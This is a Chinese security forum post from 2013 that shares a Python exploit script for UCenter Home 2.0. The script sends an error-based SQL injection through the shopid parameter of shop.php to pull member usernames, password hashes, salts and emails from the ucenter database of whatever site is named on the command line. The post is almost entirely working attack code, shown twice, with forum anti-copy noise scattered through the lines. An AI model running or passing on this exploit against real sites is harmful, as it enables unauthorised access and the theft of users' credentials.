找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2003|回复: 0
打印 上一主题 下一主题

UCenter Home 2.0 EXP

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-23 09:18:17 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
#!/usr/bin/envpython importsys importurllib2 importre definfo(): print'From:http://www.exploit-db.com/exploits/14997/' print 'http://www.hake.cc/Web_loudong/' print'changed:qiaoy' print'exp:' print'./UCenter_Home_2.0.pysite' defmain(): ifl
, M/ ]$ C& L- G% _8 [ 1 l8 z. K+ r6 q* P) y9 S
$ U/ Z2 m) L' {# D" [/ m' z9 S
#!/usr/bin/env python  
4 f; h" Z4 Z6 D9 X% j/ N
" p7 ~" c9 m' r7 q3 c; K# W: Oimport sys  5 Z* z& H9 R' i7 v/ f9 q
import urllib2  6 t" E% C6 I6 m
import re  & G1 y# N% y2 ~, \6 z, R1 X

% ]2 w: L: z2 e2 t! jdef info():  
+ x: w( f% q: J+ W    print 'From:http://www.exploit-db.com/exploits/14997/'
) b6 V: J/ U4 ~, V    print 'http://www.hake.cc/Web_loudong/'
5 ]7 x" \( S' v    print 'changed:qiaoy'  
! }3 t& l8 A" z# J3 Q0 o$ I    print 'exp:'  % L9 T5 u+ E/ [- e. N
    print ' ./UCenter_Home_2.0.py site'  , Z& j/ G+ E+ p4 b9 ~- P( m
( T/ l. N* r) S1 a
def main():  
: p7 f; a& _& K7 k) Y    if len(sys.argv) != 2:  1 e/ H1 M$ I8 C" C" D
        info()    k- w9 K1 Z, k* E+ X5 T, b, J
    else:  ( v4 h# M! e3 i! ]8 z) H  \
        site = sys.argv[1]  : y1 {/ e. c' z3 ^# W
        if site[0:7] == 'http://':  
6 }1 S  @# ?9 t# I, M* r* C; s            sitesite =site  
8 W4 ^0 Z% y5 T* x  Y! W' O) \9 O. k        elif site[0:8] == 'https://':  
. I1 ?3 b3 R  |/ l. U            sitesite = site  3 z4 p" E" S6 i
        else:  
  ]4 x, n& N9 b) I# h            site = 'http://'+site  2 s& x+ e, }$ E
        try:  4 G4 ~; C8 L& I  j
            url = site+'/shop.php?ac=view&shopid=50534+and+(select+1+from(select+count(*),concat((select+(select+(select+concat(0x7e,0x27,cast(concat(uid,0x3a,username,0x3a,password,0x3a,salt,0x3a,email)+as+char),0x27,0x7e)+from+ucenter.uc_members+LIMIT+0,1))+from+information_schema.tables+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+11=1'  4 s' N1 |7 J! i5 A/ J! t6 `
            Value = urllib2.urlopen(url).read()  
; ~. Q* U. T3 e8 S1 R9 R" \            Msg = re.findall(r'Duplicate entry \'~\'(.*?)\' for key',Value)[0]  1 H: u3 d/ U8 q2 b5 l5 v9 `* r* p8 T
            hacked = Msg.split(':')  ( n) O7 x4 A" C3 A+ h- k
            print 'Name:    '+hacked[1]  
* O: g/ ^2 ?3 J; P% e, D, Y) U) u            print 'Passwd:  '+hacked[2]  
1 x7 s  C) _. ]: l* @& f            print 'salt:    '+hacked[3]  / R* ?6 z9 ^) I9 ]
            print 'email:   '+hacked[4]  / ^0 A9 \% v: m) y7 }8 v/ _( w; n
        except:  
  E  o$ K6 k% b& ~$ M4 T            print 'Sorry,I can\'t work............'  
% z6 [* l: g7 I! G( h$ w2 S
; n3 j: W3 K7 \if __name__ == '__main__':  
6 A& Q7 r1 O7 J. X% _    main()
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表